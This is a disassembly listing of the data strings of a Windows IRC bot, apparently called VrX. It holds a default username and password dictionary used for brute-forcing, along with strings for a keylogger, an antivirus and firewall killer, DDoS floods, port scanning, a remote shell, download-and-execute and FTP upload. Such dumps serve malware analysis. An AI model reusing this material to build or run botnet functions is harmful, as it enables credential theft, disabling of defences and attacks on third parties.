aWindows db 'windows',0 ; DATA XREF: .packed:00429384o
aOeminstall db 'oeminstall',0 ; DATA XREF: .packed:00429380o
align 4
aOemuser db 'oemuser',0 ; DATA XREF: .packed:0042937Co
aOem db 'oem',0 ; DATA XREF: .packed:00429378o
aUser db 'user',0 ; DATA XREF: sub_401ACD+45CFo
; .packed:00429374o
align 4
aHomeuser db 'homeuser',0 ; DATA XREF: .packed:00429370o
align 4
aHome db 'home',0 ; DATA XREF: .packed:0042936Co
align 10h
aAccounting db 'accounting',0 ; DATA XREF: .packed:00429368o
align 4
aAccounts db 'accounts',0 ; DATA XREF: .packed:00429364o
align 4
aInternet db 'internet',0 ; DATA XREF: .packed:00429360o
; .packed:004294BCo
align 4
aWww db 'www',0 ; DATA XREF: .packed:0042935Co
aWeb db 'web',0 ; DATA XREF: sub_401ACD+7283o
; .packed:00429358o
aOutlook db 'outlook',0 ; DATA XREF: .packed:00429354o
aMail db 'mail',0 ; DATA XREF: .packed:00429350o
align 4
aQwerty db 'qwerty',0 ; DATA XREF: .packed:0042934Co
align 4
aNull_1 db 'null',0 ; DATA XREF: .packed:00429348o
align 4
aServer db 'server',0 ; DATA XREF: sub_401ACD+3E8Bo
; .packed:00429340o
align 4
aSystem db 'system',0 ; DATA XREF: .packed:0042933Co
align 4
aChangeme db 'changeme',0 ; DATA XREF: .packed:00429334o
align 4
aLinux db 'linux',0 ; DATA XREF: .packed:00429330o
align 10h
aUnix db 'unix',0 ; DATA XREF: .packed:0042932Co
align 4
aDemo db 'demo',0 ; DATA XREF: .packed:00429328o
align 10h
aNone db 'none',0 ; DATA XREF: .packed:00429324o
align 4
aTest db 'test',0 ; DATA XREF: .packed:0042931Co
align 10h
a2004 db '2004',0 ; DATA XREF: .packed:00429318o
align 4
a2003 db '2003',0 ; DATA XREF: sub_41AF8F+BAo
; .packed:00429314o
align 10h
a2002 db '2002',0 ; DATA XREF: .packed:00429310o
align 4
a2001 db '2001',0 ; DATA XREF: .packed:0042930Co
align 10h
a2000 db '2000',0 ; DATA XREF: .packed:00429308o
align 4
a1234567890 db '1234567890',0 ; DATA XREF: .packed:00429304o
align 4
a123456789 db '123456789',0 ; DATA XREF: .packed:00429300o
align 10h
a12345678 db '12345678',0 ; DATA XREF: .packed:004292FCo
align 4
a1234567 db '1234567',0 ; DATA XREF: .packed:004292F8o
a123456 db '123456',0 ; DATA XREF: .packed:004292F4o
align 4
a12345 db '12345',0 ; DATA XREF: .packed:004292F0o
align 4
a1234 db '1234',0 ; DATA XREF: .packed:004292ECo
align 4
a123 db '123',0 ; DATA XREF: .packed:004292E8o
a12 db '12',0 ; DATA XREF: .packed:004292E4o
align 4
a1: ; DATA XREF: .packed:0040AFC7o
; .packed:004292E0o
unicode 0, <1>,0
a007 db '007',0 ; DATA XREF: .packed:004292DCo
aPwd db 'pwd',0 ; DATA XREF: .packed:004292D8o
aPass_0 db 'pass',0 ; DATA XREF: .packed:004292D4o
align 4
aPass1234 db 'pass1234',0 ; DATA XREF: .packed:004292D0o
align 4
aPasswd db 'passwd',0 ; DATA XREF: .packed:004292CCo
align 4
aPassword db 'password',0 ; DATA XREF: .packed:004292C8o
align 4
aPassword1 db 'password1',0 ; DATA XREF: .packed:004292C4o
align 4
aAdm db 'adm',0 ; DATA XREF: .packed:004292C0o
aDb2 db 'db2',0 ; DATA XREF: .packed:00429468o
aOracle db 'oracle',0 ; DATA XREF: .packed:00429480o
align 4
aDba db 'dba',0
aDatabase db 'database',0 ; DATA XREF: .packed:00429448o
align 4
aDefault db 'default',0 ; DATA XREF: .packed:00429338o
aGuest_0 db 'guest',0 ; DATA XREF: .packed:00429320o
align 4
aWwwadmin db 'wwwadmin',0
align 10h
aTeacher db 'teacher',0 ; DATA XREF: .packed:004294C8o
aStudent db 'student',0 ; DATA XREF: .packed:004294C4o
aOwner db 'owner',0
align 4
aComputer db 'computer',0
align 4
aRoot db 'root',0 ; DATA XREF: .packed:00429344o
align 4
aStaff db 'staff',0 ; DATA XREF: .packed:004294CCo
align 4
aAdmin db 'admin',0 ; DATA XREF: .packed:004292BCo
align 4
aAdmins db 'admins',0 ; DATA XREF: .packed:004292B8o
align 4
aAdministrat db 'administrat',0 ; DATA XREF: .packed:004292B4o
aAdministrateur db 'administrateur',0 ; DATA XREF: .packed:004292B0o
align 10h
aAdministrador db 'administrador',0 ; DATA XREF: .packed:004292ACo
align 10h
aAdministrato_0 db 'administrator',0 ; DATA XREF: .packed:004292A8o
align 10h
aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .packed:00429174o
align 10h
aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .packed:00429170o
align 10h
aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .packed:0042916Co
align 10h
aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .packed:off_429168o
align 10h
a@admin_com db '*@admin.com',0 ; DATA XREF: .packed:off_429164o
dword_4299DC dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: sub_401221+46Bo
aFailedToStartS db '- Failed to start server, error: <%d>.',0
align 10h
dword_429A10 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: sub_401221+420o
aServerRunningO db '- Server running on Port: 113.',0
align 4
unk_429A3C db 2Dh ; - ; DATA XREF: sub_401221+3F3o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0
align 4
unk_429A7C db 2Dh ; - ; DATA XREF: sub_401221+3A2o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aAvFwKillerActi db ' AV/FW Killer active.',0
align 10h
dword_429AA0 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h
; DATA XREF: sub_401221+364o
dd 2E646574h, 0
dword_429ABC dd 25207325h, 25222064h, 2273h ; DATA XREF: sub_401221+28Fo
dword_429AC8 dd 255C7325h, 73h ; DATA XREF: sub_401221+189o
; sub_41716F+45o
dword_429AD0 dd 73257325h, 0 ; DATA XREF: sub_401221+10Do
; sub_4100B4+EAo ...
unk_429AD8 db 3 ; DATA XREF: sub_4017ED+F2o
a81VrxConnected db '8,1-VrX- Connected to %s.',0
align 4
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 10h
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o
align 4
aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D25o
align 4
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D0Do
align 4
unk_429B3C db 3 ; DATA XREF: sub_401ACD+7CF9o
a81VrxUserSLogg db '8,1-VrX- User: %s logged in.',0
align 4
unk_429B5C db 3 ; DATA XREF: sub_401ACD+7CDCo
a81VrxPasswordA db '8,1-VrX- Password accepted.',0
align 4
unk_429B7C db 3 ; DATA XREF: sub_401ACD+7C7Bo
a81VrxFailedHos db '8,1-VrX- *Failed host auth by: (%s!%s).',0
align 4
aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7C52o
align 10h
unk_429BD0 db 3 ; DATA XREF: sub_401ACD+7C14o
a81VrxFailedPas db '8,1-VrX- *Failed pass auth by: (%s!%s).',0
align 4
aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7C02o
; sub_401ACD+7C69o
align 4
aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7BEBo
align 10h
asc_429C50: ; DATA XREF: sub_401ACD+7BBBo
unicode 0, <~>,0
unk_429C54 db 3 ; DATA XREF: sub_401ACD+7B6Bo
a81VrxRandomNic db '8,1-VrX- Random nick change: %s',0
align 4
unk_429C78 db 3 ; DATA XREF: sub_401ACD+7AFDo
a81VrxReconnect db '8,1-VrX- Reconnecting in %s seconds',0
align 10h
unk_429CA0 db 3 ; DATA XREF: sub_401ACD+7AB9o
a81VrxReconne_0 db '8,1-VrX- Reconnecting in %s ms',0
unk_429CC0 db 3 ; DATA XREF: sub_401ACD+7A99o
a81VrxNickChang db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0
align 4
unk_429CE4 db 3 ; DATA XREF: sub_401ACD+7A7Do
a81VrxJoinedCha db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0
unk_429D04 db 3 ; DATA XREF: sub_401ACD+7A5Ao
a81VrxPartedCha db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0
unk_429D24 db 3 ; DATA XREF: sub_401ACD+7A3Eo
a81VrxIrcRawS_ db '8,1-VrX- IRC Raw: %s.',0
align 4
unk_429D3C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40948Ao
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToKillTh db '- Failed to kill thread: %s.',0
align 4
unk_429D68 db 2Dh ; - ; DATA XREF: sub_401ACD+79B6o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aKilledThreadS_ db '- Killed thread: %s.',0
align 4
unk_429D8C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40943Do
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aNoActiveThread db '- No active threads found.',0
unk_429DB4 db 2Dh ; - ; DATA XREF: sub_401ACD+7966o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aStoppedDThread db '- Stopped: %d thread(s).',0
align 4
aAll db 'all',0 ; DATA XREF: sub_401ACD+794Co
unk_429DE0 db 3 ; DATA XREF: sub_401ACD+7848o
a81VrxPrefixCha db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0
align 4
unk_429E04 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409300o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0
unk_429E28 db 2Dh ; - ; DATA XREF: sub_401ACD+7829o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFileOpenedS db ' File opened: %s',0
align 4
unk_429E48 db 3 ; DATA XREF: sub_401ACD+7809o
a81VrxServerCha db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0
align 4
unk_429E6C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4092BDo
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0
align 4
unk_429E94 db 2Dh ; - ; DATA XREF: sub_401ACD+77C2o
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aLookupSS_ db '- Lookup: %s -> %s.',0
align 4
unk_429EB4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409255o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTermin db ' Failed to terminate process: %s',0
align 4
unk_429EE4 db 2Dh ; - ; DATA XREF: sub_401ACD+777Eo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledS db ' Process killed: %s',0
unk_429F04 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4091F5o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
unk_429F34 db 2Dh ; - ; DATA XREF: sub_401ACD+7721o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledI db ' Process killed ID: %s',0
align 4
dword_429F58 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h
; DATA XREF: sub_401ACD+76DFo
dd 27732527h, 2Eh
unk_429F74 db 2Dh ; - ; DATA XREF: sub_401ACD+7667o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aSendFileSUserS db '- Send File: %s, User: %s.',0
dword_429F98 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah
; DATA XREF: sub_401ACD+75ECo
dd 0
unk_429FB0 db 2Dh ; - ; DATA XREF: sub_401ACD+75BFo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0
align 10h
dword_429FF0 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah
; DATA XREF: sub_401ACD+7550o
dd 2Eh
dword_42A008 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h
; DATA XREF: sub_401ACD:loc_408F9Do
dd 746E6573h, 2Eh
unk_42A024 db 2Dh ; - ; DATA XREF: sub_401ACD+74C9o
db 3, 34h, 2
db 6Dh ; m
db 69h, 72h, 63h
db 2
db 3, 2Dh, 20h
aClientNotOpen_ db 'Client not open.',0
align 4
dword_42A044 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
; DATA XREF: sub_401ACD+748Fo
dd 732520h
unk_42A05C db 2Dh ; - ; DATA XREF: sub_401ACD+7481o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aErrorSendingTo db '- Error sending to remote shell.',0
align 4
asc_42A088: ; DATA XREF: sub_401ACD+7469o
; sub_4100B4+FBo ...
dw 0Ah
unicode 0, <>,0
unk_42A08C db 3 ; DATA XREF: sub_401ACD+7441o
a81VrxReadFileF db '8,1-VrX- Read file failed: %s',0
align 4
unk_42A0AC db 3 ; DATA XREF: sub_401ACD+7436o
a81VrxReadFileC db '8,1-VrX- Read file complete: %s',0
align 10h
aUnknowModeType db 'Unknow mode type.',0 ; DATA XREF: sub_401ACD:loc_408E97o
align 4
aFailedToStartL db 'Failed to start logging thread, error: <%d>.',0
; DATA XREF: sub_401ACD+73B4o
align 4
aNormalKeyLogge db 'Normal key logger active.',0 ; DATA XREF: sub_401ACD+733Do
align 10h
aNormal_0 db 'normal',0 ; DATA XREF: sub_401ACD+72EDo
align 4
aKeylogerAlread db 'Keyloger Already running.',0 ; DATA XREF: sub_401ACD+7263o
align 4
aVrxV3_0SitesKe db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401ACD+7236o
; sub_401ACD+72E5o
align 4
aKeylog_0 db 'Keylog',0 ; DATA XREF: sub_401ACD+7231o
align 10h
unk_42A180 db 3 ; DATA XREF: sub_401ACD+7216o
a81VrxGethostS_ db '8,1-VrX- Gethost: %s.',0
align 4
unk_42A198 db 3 ; DATA XREF: sub_401ACD+71D2o
a81VrxUnableToE db '8,1-VrX- Unable to extract Gethost command.',0
align 4
unk_42A1C8 db 3 ; DATA XREF: sub_401ACD+71B6o
a81VrxGethostSC db '8,1-VrX- Gethost: %s, Command: %s',0
align 4
unk_42A1EC db 3 ; DATA XREF: sub_401ACD+7119o
a81VrxAliasAdde db '8,1-VrX- Alias added: %s.',0
align 4
unk_42A208 db 3 ; DATA XREF: sub_401ACD+70E7o
a81VrxPrivmsgSS db '8,1-VrX- Privmsg: %s: %s.',0
align 4
unk_42A224 db 3 ; DATA XREF: sub_401ACD+7096o
a81VrxActionSS_ db '8,1-VrX- Action: %s: %s.',0
align 10h
dword_42A240 dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0
; DATA XREF: sub_401ACD+7028o
dword_42A254 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+6FEEo
; sub_401ACD+7A49o
unk_42A260 db 3 ; DATA XREF: sub_401ACD+6FC7o
a81VrxModeChang db '8,1-VrX- Mode change: %s',0
align 4
aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+6FB6o
align 4
dword_42A288 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h
; DATA XREF: sub_401ACD+6F8Do
dd 25203A29h, 73h
dword_42A2A4 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h
; DATA XREF: sub_401ACD+6F1Fo
dd 203A2973h, 7325h
dword_42A2C0 dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6EC7o
dword_42A2C8 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh
; DATA XREF: sub_401ACD+6E95o
dd 203A2973h, 7325h
dword_42A2E4 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6E1Do
dword_42A2F0 dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6DEBo
; sub_401ACD+6E71o ...
dword_42A2F8 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6DB6o
dword_42A300 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6D79o
aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_42A33C dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6D0Eo
aFloodingSForSS db '- Flooding %s for %s seconds.',0
align 4
unk_42A368 db 2Dh ; - ; DATA XREF: sub_401ACD+6CA8o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42A3A4 db 2Dh ; - ; DATA XREF: sub_401ACD+6C39o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0
unk_42A3D8 db 3 ; DATA XREF: sub_401ACD+6B9Do
a81VrxRepeatNot db '8,1-VrX- Repeat not allowed in command line: %s',0
align 4
unk_42A40C db 3 ; DATA XREF: sub_401ACD+6B60o
a81VrxRepeatS db '8,1-VrX- Repeat: %s',0
align 4
dword_42A424 dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0
; DATA XREF: sub_401ACD:loc_408591o
dword_42A438 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6A84o
; sub_401ACD+6B37o ...
dword_42A448 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4084F0o
aBotIdMustBeDif db '- Bot ID must be different than current running process.',0
align 10h
dword_42A490 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A19o
aFailedToStartD db '- Failed to start download thread, error: <%d>.',0
dword_42A4CC dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401ACD+69AAo
aDownloadingUpd db '- Downloading update from: %s.',0
align 4
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+6904o
align 4
dword_42A504 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h
; DATA XREF: sub_401ACD+68A2o
dd 7325203Ah, 0
unk_42A520 db 2Dh ; - ; DATA XREF: sub_401ACD+6897o
db 3, 34h, 2
db 65h ; e
db 78h, 65h, 63h
db 2
db 3, 2Dh, 20h
aCouldnTExecute db 'Couldn',27h,'t execute file.',0
align 4
unk_42A544 db 2Dh ; - ; DATA XREF: sub_401ACD+67FDo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0
unk_42A580 db 2Dh ; - ; DATA XREF: sub_401ACD+6787o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingForFi db 'Searching for file: %s in: %s.',0
align 10h
dword_42A5B0 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40818Do
; sub_401ACD:loc_4091C7o
unk_42A5BC db 2Dh ; - ; DATA XREF: sub_401ACD+66ABo
db 3, 34h, 2
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 10h
unk_42A5E0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408156o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0
align 4
unk_42A618 db 2Dh ; - ; DATA XREF: sub_401ACD+667Fo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0
align 10h
unk_42A650 db 2Dh ; - ; DATA XREF: sub_401ACD+660Fo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0
align 4
dword_42A67C dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+658Co
aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0
align 4
dword_42A6B8 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+651Do
aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0
align 4
unk_42A6E8 db 2Dh ; - ; DATA XREF: sub_401ACD+64A4o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0
align 10h
unk_42A720 db 2Dh ; - ; DATA XREF: sub_401ACD+6435o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0
align 10h
unk_42A750 db 2Dh ; - ; DATA XREF: sub_401ACD+63ABo
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42A788 db 2Dh ; - ; DATA XREF: sub_401ACD+633Co
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0
align 4
unk_42A7B8 db 2Dh ; - ; DATA XREF: sub_401ACD+62C3o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0
align 10h
unk_42A7F0 db 2Dh ; - ; DATA XREF: sub_401ACD+6254o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0
align 4
unk_42A82C db 2Dh ; - ; DATA XREF: sub_401ACD+61DBo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0
align 4
dword_42A86C dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401ACD+616Co
aDownloadingUrl db '- Downloading URL: %s to: %s.',0
align 4
unk_42A898 db 2Dh ; - ; DATA XREF: sub_401ACD+609Do
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0
align 4
unk_42A8DC db 2Dh ; - ; DATA XREF: sub_401ACD+602Eo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A918 db 3 ; DATA XREF: sub_401ACD+5F31o
a81Sc@nPortScan db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0
aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5E85o
align 10h
aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5DB0o
align 10h
dword_42A970 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5D22o
; sub_401ACD+7074o
unk_42A97C db 2Dh ; - ; DATA XREF: sub_401ACD+5CC0o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0
align 4
unk_42A9B8 db 2Dh ; - ; DATA XREF: sub_401ACD+5C51o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStarte db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
align 4
unk_42AA08 db 3 ; DATA XREF: sub_401ACD+5BBAo
; sub_401ACD+5FA0o
a81Sc@nFailedTo db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0
align 10h
unk_42AA40 db 3 ; DATA XREF: sub_401ACD+5B4Bo
a81Sc@nSPortSca db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second'
db 's for %d minutes using %d threads.',0
align 4
unk_42AAA8 db 3 ; DATA XREF: sub_401ACD+59D5o
a81Sc@nFailed_0 db '8,1-SC@N- Failed to start scan, no IP specified.',0
align 4
unk_42AADC db 3 ; DATA XREF: sub_401ACD+5978o
a81Sc@nFailed_1 db '8,1-SC@N- Failed to start scan, port is invalid.',0
align 10h
unk_42AB10 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_407320o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFileS db '- Uploading file: %s to: %s failed.',0
align 10h
unk_42AB40 db 2Dh ; - ; DATA XREF: sub_401ACD+584Co
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFil_0 db '- Uploading file: %s to: %s',0
align 4
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5835o
aSS_2 db '-s:%s',0 ; DATA XREF: sub_401ACD+581Eo
align 4
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+57FBo
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
aAb db 'ab',0 ; DATA XREF: sub_401ACD+57D7o
align 10h
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+57C6o
align 10h
unk_42ABB0 db 2Dh ; - ; DATA XREF: sub_401ACD+576Do
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aFileNotFoundS_ db '- File not found: %s.',0
align 10h
aUpload db 'upload',0 ; DATA XREF: sub_401ACD+574Ao
align 4
unk_42ABD8 db 3 ; DATA XREF: sub_401ACD+5714o
a81Sc@nAlreadyD db '8,1-SC@N- Already %d scanning threads. Too many specified.',0
unk_42AC14 db 2Dh ; - ; DATA XREF: sub_401ACD+56B5o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFailedToStar_8 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42AC4C db 2Dh ; - ; DATA XREF: sub_401ACD+564Ao
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 4
unk_42AC94 db 2Dh ; - ; DATA XREF: sub_401ACD+5599o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aMessageHasBeen db '- Message has been sent successfuly',0
align 4
unk_42ACC8 db 2Dh ; - ; DATA XREF: sub_401ACD+5565o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aFailedToSendMe db '- Failed to send message, error <%i>.',0
align 4
unk_42ACFC db 2Dh ; - ; DATA XREF: sub_401ACD+5541o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aNetsendDoesNot db '- NetSend does not work on Win9x systems',0
align 4
unk_42AD34 db 2Dh ; - ; DATA XREF: sub_401ACD+549Fo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aSendingMessage db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5482o
align 4
unk_42AD88 db 2Dh ; - ; DATA XREF: sub_401ACD+546Do
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFailedToStar_9 db 'Failed to start flood thread, error: <%d>.',0
align 10h
unk_42ADC0 db 2Dh ; - ; DATA XREF: sub_401ACD+53FEo
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
